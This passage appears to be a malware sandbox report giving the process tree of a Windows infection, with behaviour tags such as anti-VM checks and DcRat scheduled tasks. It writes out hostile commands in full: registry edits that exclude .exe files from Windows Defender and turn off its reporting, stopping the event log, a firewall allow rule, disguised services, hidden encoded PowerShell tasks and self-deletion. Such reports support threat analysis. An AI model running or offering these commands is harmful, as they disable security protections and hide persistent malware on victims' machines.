                                          • Suspicious behavior: MapViewOfSection
                                          PID:320
                                        • C:\Users\Admin\Documents\GuardFox\818NZSHIwsZQa9mN_lcaDqjs.exe
                                          "C:\Users\Admin\Documents\GuardFox\818NZSHIwsZQa9mN_lcaDqjs.exe"
                                          4⤵
                                          • Executes dropped EXE
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:984
                                          • C:\Users\Admin\Documents\GuardFox\818NZSHIwsZQa9mN_lcaDqjs.exe
                                            "C:\Users\Admin\Documents\GuardFox\818NZSHIwsZQa9mN_lcaDqjs.exe"
                                            5⤵
                                            • Executes dropped EXE
                                            • Checks for VirtualBox DLLs, possible anti-VM trick
                                            • Modifies data under HKEY_USERS
                                            PID:3044
                                        • C:\Users\Admin\Documents\GuardFox\w7ReKqSUs8ZAAKKTW7wHg8Ix.exe
                                          "C:\Users\Admin\Documents\GuardFox\w7ReKqSUs8ZAAKKTW7wHg8Ix.exe"
                                          4⤵
                                          • Executes dropped EXE
                                          PID:2592
                                          • C:\Windows\SysWOW64\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\flslrnox\
                                            5⤵
                                              PID:556
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\seqvsyxl.exe" C:\Windows\SysWOW64\flslrnox\
                                              5⤵
                                                PID:2564
                                              • C:\Windows\SysWOW64\sc.exe
                                                "C:\Windows\System32\sc.exe" create flslrnox binPath= "C:\Windows\SysWOW64\flslrnox\seqvsyxl.exe /d\"C:\Users\Admin\Documents\GuardFox\w7ReKqSUs8ZAAKKTW7wHg8Ix.exe\"" type= own start= auto DisplayName= "wifi support"
                                                5⤵
                                                • Launches sc.exe
                                                PID:2940
                                              • C:\Windows\SysWOW64\sc.exe
                                                "C:\Windows\System32\sc.exe" description flslrnox "wifi internet conection"
                                                5⤵
                                                • Launches sc.exe
                                                PID:936
                                              • C:\Windows\SysWOW64\sc.exe
                                                "C:\Windows\System32\sc.exe" start flslrnox
                                                5⤵
                                                • Launches sc.exe
                                                PID:2800
                                              • C:\Windows\SysWOW64\netsh.exe
                                                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                                                5⤵
                                                • Modifies Windows Firewall
                                                PID:1868
                                            • C:\Users\Admin\Documents\GuardFox\Bc48fW8wCAOUvgzXAjFBFSAY.exe
                                              "C:\Users\Admin\Documents\GuardFox\Bc48fW8wCAOUvgzXAjFBFSAY.exe"
                                              4⤵
                                              • Executes dropped EXE
                                              PID:2412
                                            • C:\Users\Admin\Documents\GuardFox\chW_dqKJoY_KIATwo5rRQWyw.exe
                                              "C:\Users\Admin\Documents\GuardFox\chW_dqKJoY_KIATwo5rRQWyw.exe"
                                              4⤵
                                              • Executes dropped EXE
                                              PID:2436
                                            • C:\Users\Admin\Documents\GuardFox\i6EuMSnftMvF0ALC4F6j89eh.exe
                                              "C:\Users\Admin\Documents\GuardFox\i6EuMSnftMvF0ALC4F6j89eh.exe"
                                              4⤵
                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                              • Checks BIOS information in registry
                                              • Executes dropped EXE
                                              • Identifies Wine through registry keys
                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                              PID:980
                                            • C:\Users\Admin\Documents\GuardFox\4Pn6OX4nwgDm7YpXwn0kLIRd.exe
                                              "C:\Users\Admin\Documents\GuardFox\4Pn6OX4nwgDm7YpXwn0kLIRd.exe"
                                              4⤵
                                              • Executes dropped EXE
                                              PID:2428
                                              • C:\Windows\system32\powercfg.exe
                                                C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                5⤵
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:2336
                                              • C:\Windows\system32\powercfg.exe
                                                C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                5⤵
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:2940
                                              • C:\Windows\system32\powercfg.exe
                                                C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                5⤵
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:984
                                              • C:\Windows\system32\powercfg.exe
                                                C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                5⤵
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:684
                                              • C:\Windows\system32\sc.exe
                                                C:\Windows\system32\sc.exe delete "OBGPQMHF"
                                                5⤵
                                                • Launches sc.exe
                                                PID:2580
                                              • C:\Windows\system32\sc.exe
                                                C:\Windows\system32\sc.exe create "OBGPQMHF" binpath= "C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe" start= "auto"
                                                5⤵
                                                • Launches sc.exe
                                                PID:1308
                                              • C:\Windows\system32\sc.exe
                                                C:\Windows\system32\sc.exe stop eventlog
                                                5⤵
                                                • Launches sc.exe
                                                PID:2512
                                              • C:\Windows\system32\sc.exe
                                                C:\Windows\system32\sc.exe start "OBGPQMHF"
                                                5⤵
                                                • Launches sc.exe
                                                PID:2252
                                            • C:\Users\Admin\Documents\GuardFox\fhoQKxTVZA2fix53RERBelyQ.exe
                                              "C:\Users\Admin\Documents\GuardFox\fhoQKxTVZA2fix53RERBelyQ.exe"
                                              4⤵
                                              • Executes dropped EXE
                                              • Checks processor information in registry
                                              PID:2244
                                              • C:\Windows\SysWOW64\cmd.exe
                                                "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\GCAEHDBAAE.exe"
                                                5⤵
                                                  PID:2816
                                                  • C:\Users\Admin\AppData\Local\Temp\GCAEHDBAAE.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\GCAEHDBAAE.exe"
                                                    6⤵
                                                    • Executes dropped EXE
                                                    PID:1552
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\Admin\AppData\Local\Temp\GCAEHDBAAE.exe
                                                      7⤵
                                                        PID:1100
                                                        • C:\Windows\SysWOW64\PING.EXE
                                                          ping 2.2.2.2 -n 1 -w 3000
                                                          8⤵
                                                          • Runs ping.exe
                                                          PID:2344
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Documents\GuardFox\fhoQKxTVZA2fix53RERBelyQ.exe" & del "C:\ProgramData\*.dll"" & exit
                                                    5⤵
                                                      PID:1756
                                                      • C:\Windows\SysWOW64\timeout.exe
                                                        timeout /t 5
                                                        6⤵
                                                        • Delays execution with timeout.exe
                                                        PID:2784
                                                  • C:\Users\Admin\Documents\GuardFox\zUtTf2RoaLpHMBCFYAGqaB8V.exe
                                                    "C:\Users\Admin\Documents\GuardFox\zUtTf2RoaLpHMBCFYAGqaB8V.exe"
                                                    4⤵
                                                    • Executes dropped EXE
                                                    PID:2392
                                                    • C:\Users\Admin\AppData\Local\Temp\7zS6B51.tmp\Install.exe
                                                      .\Install.exe
                                                      5⤵
                                                      • Executes dropped EXE
                                                      PID:564
                                                      • C:\Users\Admin\AppData\Local\Temp\7zS7B19.tmp\Install.exe
                                                        .\Install.exe /vmdidoXQBu "525403" /S
                                                        6⤵
                                                        • Checks BIOS information in registry
                                                        • Executes dropped EXE
                                                        • Drops file in System32 directory
                                                        • Enumerates system info in registry
                                                        PID:2256
                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
                                                          7⤵
                                                            PID:2888
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
                                                              8⤵
                                                                PID:2908
                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
                                                                  9⤵
                                                                    PID:2360
                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                                                                    9⤵
                                                                      PID:1596
                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                  "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
                                                                  7⤵
                                                                    PID:1636
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                                                                      8⤵
                                                                        PID:2620
                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                                                                          9⤵
                                                                            PID:1748
                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                                                                            9⤵
                                                                              PID:1808
                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                          schtasks /CREATE /TN "gbXjghfIL" /SC once /ST 13:29:49 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                          7⤵
                                                                          • DcRat
                                                                          • Creates scheduled task(s)
                                                                          PID:2240
                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                          schtasks /run /I /tn "gbXjghfIL"
                                                                          7⤵
                                                                            PID:1868
                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                            schtasks /DELETE /F /TN "gbXjghfIL"
                                                                            7⤵
                                                                              PID:2240
                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                              schtasks /CREATE /TN "btbwILgIDOMomJfKYB" /SC once /ST 15:10:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\dYCYYvmNvBRqgTGOH\lchhETiXYelTvPX\XFmaGOd.exe\" RD /aRsite_idVGX 525403 /S" /V1 /F
                                                                              7⤵
                                                                              • DcRat
                                                                              • Drops file in Windows directory
                                                                              • Creates scheduled task(s)
                                                                              PID:2592
                                                                    • C:\Users\Admin\Pictures\Z3Gq0XI51gW491VIPjOM9DxH.exe
                                                                      "C:\Users\Admin\Pictures\Z3Gq0XI51gW491VIPjOM9DxH.exe"
                                                                      3⤵
                                                                      • Executes dropped EXE
                                                                      • Loads dropped DLL
                                                                      PID:2284
                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSC2B3.tmp\Install.exe
                                                                        .\Install.exe
                                                                        4⤵
                                                                        • Executes dropped EXE
                                                                        • Loads dropped DLL
                                                                        PID:2980
                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSC764.tmp\Install.exe
                                                                          .\Install.exe /YiVdidfkdlJ "385118" /S
                                                                          5⤵
                                                                          • Checks BIOS information in registry
                                                                          • Executes dropped EXE
                                                                          • Loads dropped DLL
                                                                          • Drops file in System32 directory
                                                                          • Enumerates system info in registry
                                                                          PID:2904
                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                            "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
                                                                            6⤵
                                                                              PID:312
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
                                                                                7⤵
                                                                                  PID:2880
                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
                                                                                    8⤵
                                                                                      PID:1720
                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                                                                                      8⤵
                                                                                        PID:620
                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
                                                                                    6⤵
                                                                                      PID:1228
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                                                                                        7⤵
                                                                                          PID:1820
                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                                                                                            8⤵
                                                                                              PID:3000
                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                                                                                              8⤵
                                                                                                PID:1612
                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                            schtasks /CREATE /TN "gfRSfocfW" /SC once /ST 01:36:50 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                            6⤵
                                                                                            • DcRat
                                                                                            • Creates scheduled task(s)
                                                                                            PID:2664
                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                            schtasks /run /I /tn "gfRSfocfW"
                                                                                            6⤵
                                                                                              PID:2916
                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                              schtasks /DELETE /F /TN "gfRSfocfW"
                                                                                              6⤵
                                                                                                PID:1916
                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                schtasks /CREATE /TN "bdnnguwcOLBYKAjbbA" /SC once /ST 15:04:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\naOnfwtmHGUDmSz\zshKGwP.exe\" id /wssite_idiGb 385118 /S" /V1 /F
                                                                                                6⤵
                                                                                                • DcRat
                                                                                                • Drops file in Windows directory
                                                                                                • Creates scheduled task(s)
                                                                                                PID:1412
                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                schtasks /run /I /tn "bdnnguwcOLBYKAjbbA"
                                                                                                6⤵
                                                                                                  PID:612
                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                  schtasks /CREATE /TN "mRaseIvrfxDtBOYKW" /SC once /ST 10:31:56 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\FQzNUECRlEXpKQi\RquBkwq.exe\" Ty /gtsite_idVFK 385118 /S" /V1 /F
                                                                                                  6⤵
                                                                                                  • DcRat
                                                                                                  • Drops file in Windows directory
                                                                                                  • Creates scheduled task(s)
                                                                                                  PID:2788
                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                  schtasks /run /I /tn "mRaseIvrfxDtBOYKW"
                                                                                                  6⤵
                                                                                                    PID:692
                                                                                            • C:\Users\Admin\Pictures\0kiRzAxOn8e4Ra9UGqvVnso3.exe
                                                                                              "C:\Users\Admin\Pictures\0kiRzAxOn8e4Ra9UGqvVnso3.exe"
                                                                                              3⤵
                                                                                              • Executes dropped EXE
                                                                                              • Loads dropped DLL
                                                                                              PID:2024
                                                                                              • C:\Users\Admin\AppData\Local\Temp\u1k8.0.exe
                                                                                                "C:\Users\Admin\AppData\Local\Temp\u1k8.0.exe"
                                                                                                4⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:3032
                                                                                              • C:\Users\Admin\AppData\Local\Temp\u1k8.1.exe
                                                                                                "C:\Users\Admin\AppData\Local\Temp\u1k8.1.exe"
                                                                                                4⤵
                                                                                                • Executes dropped EXE
                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                PID:2252
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  cmd /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "
                                                                                                  5⤵
                                                                                                    PID:1348
                                                                                                    • C:\Windows\SysWOW64\chcp.com
                                                                                                      chcp 1251
                                                                                                      6⤵
                                                                                                        PID:1504
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                        schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
                                                                                                        6⤵
                                                                                                        • DcRat
                                                                                                        • Creates scheduled task(s)
                                                                                                        PID:1616
                                                                                                • C:\Users\Admin\Pictures\HLOmeuGXeTXgvXW465oivAoJ.exe
                                                                                                  "C:\Users\Admin\Pictures\HLOmeuGXeTXgvXW465oivAoJ.exe"
                                                                                                  3⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:2068
                                                                                                  • C:\Users\Admin\Pictures\HLOmeuGXeTXgvXW465oivAoJ.exe
                                                                                                    "C:\Users\Admin\Pictures\HLOmeuGXeTXgvXW465oivAoJ.exe"
                                                                                                    4⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Checks for VirtualBox DLLs, possible anti-VM trick
                                                                                                    PID:2328
                                                                                                • C:\Users\Admin\Pictures\Sd9T7Dj5lsExC8Rr3i2jaqis.exe
                                                                                                  "C:\Users\Admin\Pictures\Sd9T7Dj5lsExC8Rr3i2jaqis.exe"
                                                                                                  3⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:1736
                                                                                                  • C:\Users\Admin\Pictures\Sd9T7Dj5lsExC8Rr3i2jaqis.exe
                                                                                                    "C:\Users\Admin\Pictures\Sd9T7Dj5lsExC8Rr3i2jaqis.exe"
                                                                                                    4⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Checks for VirtualBox DLLs, possible anti-VM trick
                                                                                                    PID:2504
                                                                                                • C:\Users\Admin\Pictures\YZEaUo6b8xL8hjLPngXTKNIK.exe
                                                                                                  "C:\Users\Admin\Pictures\YZEaUo6b8xL8hjLPngXTKNIK.exe"
                                                                                                  3⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:2960
                                                                                                  • C:\Users\Admin\Pictures\YZEaUo6b8xL8hjLPngXTKNIK.exe
                                                                                                    "C:\Users\Admin\Pictures\YZEaUo6b8xL8hjLPngXTKNIK.exe"
                                                                                                    4⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Checks for VirtualBox DLLs, possible anti-VM trick
                                                                                                    PID:1188
                                                                                                • C:\Users\Admin\Pictures\OI8UOkAJQcRILwblfjXr2eeT.exe
                                                                                                  "C:\Users\Admin\Pictures\OI8UOkAJQcRILwblfjXr2eeT.exe"
                                                                                                  3⤵
                                                                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                  • Checks BIOS information in registry
                                                                                                  • Executes dropped EXE
                                                                                                  • Checks whether UAC is enabled
                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                  PID:2208
                                                                                                • C:\Users\Admin\Pictures\nrxL7Mkiv6X7QX6AqT0Lud56.exe
                                                                                                  "C:\Users\Admin\Pictures\nrxL7Mkiv6X7QX6AqT0Lud56.exe"
                                                                                                  3⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:3044
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS5CB.tmp\Install.exe
                                                                                                    .\Install.exe
                                                                                                    4⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:936
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS82B.tmp\Install.exe
                                                                                                      .\Install.exe /YiVdidfkdlJ "385118" /S
                                                                                                      5⤵
                                                                                                      • Checks BIOS information in registry
                                                                                                      • Drops file in System32 directory
                                                                                                      • Enumerates system info in registry
                                                                                                      PID:1656
                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
                                                                                                        6⤵
                                                                                                          PID:2996
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
                                                                                                            7⤵
                                                                                                              PID:3060
                                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
                                                                                                                8⤵
                                                                                                                  PID:1936
                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                                                                                                                  8⤵
                                                                                                                    PID:2804
                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
                                                                                                                6⤵
                                                                                                                  PID:2632
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                                                                                                                    7⤵
                                                                                                                      PID:436
                                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                                                                                                                        8⤵
                                                                                                                          PID:2580
                                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                                                                                                                          8⤵
                                                                                                                            PID:2488
                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                        schtasks /CREATE /TN "gxciAdhBb" /SC once /ST 12:15:20 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                        6⤵
                                                                                                                        • DcRat
                                                                                                                        • Creates scheduled task(s)
                                                                                                                        PID:1964
                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                        schtasks /run /I /tn "gxciAdhBb"
                                                                                                                        6⤵
                                                                                                                          PID:1940
                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                          schtasks /DELETE /F /TN "gxciAdhBb"
                                                                                                                          6⤵
                                                                                                                            PID:2208
                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                            schtasks /CREATE /TN "bdnnguwcOLBYKAjbbA" /SC once /ST 15:12:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\naOnfwtmHGUDmSz\TdaCVli.exe\" id /nRsite_idZiV 385118 /S" /V1 /F
                                                                                                                            6⤵
                                                                                                                            • DcRat
                                                                                                                            • Drops file in Windows directory
                                                                                                                            • Creates scheduled task(s)
                                                                                                                            PID:2364
                                                                                                                • C:\Windows\system32\makecab.exe
                                                                                                                  "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240325150157.log C:\Windows\Logs\CBS\CbsPersist_20240325150157.cab
                                                                                                                  1⤵
                                                                                                                  • Drops file in Windows directory
                                                                                                                  PID:2788
                                                                                                                • C:\Windows\system32\taskeng.exe
                                                                                                                  taskeng.exe {A47CEDFF-568A-47B8-8807-AD6AB9C6788F} S-1-5-21-406356229-2805545415-1236085040-1000:IKJSPGIM\Admin:Interactive:[1]
                                                                                                                  1⤵
                                                                                                                    PID:660
                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                      2⤵
                                                                                                                      • Drops file in System32 directory
                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                      PID:2708
                                                                                                                      • C:\Windows\system32\gpupdate.exe
                                                                                                                        "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                        3⤵
                                                                                                                          PID:2452
                                                                                                                    • C:\Windows\system32\gpscript.exe
                                                                                                                      gpscript.exe /RefreshSystemParam
                                                                                                                      1⤵
                                                                                                                        PID:2036
                                                                                                                      • C:\Windows\windefender.exe
                                                                                                                        C:\Windows\windefender.exe
                                                                                                                        1⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                        PID:1984
                                                                                                                      • C:\Windows\system32\AUDIODG.EXE
                                                                                                                        C:\Windows\system32\AUDIODG.EXE 0xc8
                                                                                                                        1⤵
                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                        PID:1176
                                                                                                                      • C:\Windows\system32\taskeng.exe
                                                                                                                        taskeng.exe {9E3E84CD-2C9F-4A73-A449-A2A91ED7ADE8} S-1-5-18:NT AUTHORITY\System:Service:
                                                                                                                        1⤵
                                                                                                                          PID:2028
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\FQzNUECRlEXpKQi\RquBkwq.exe
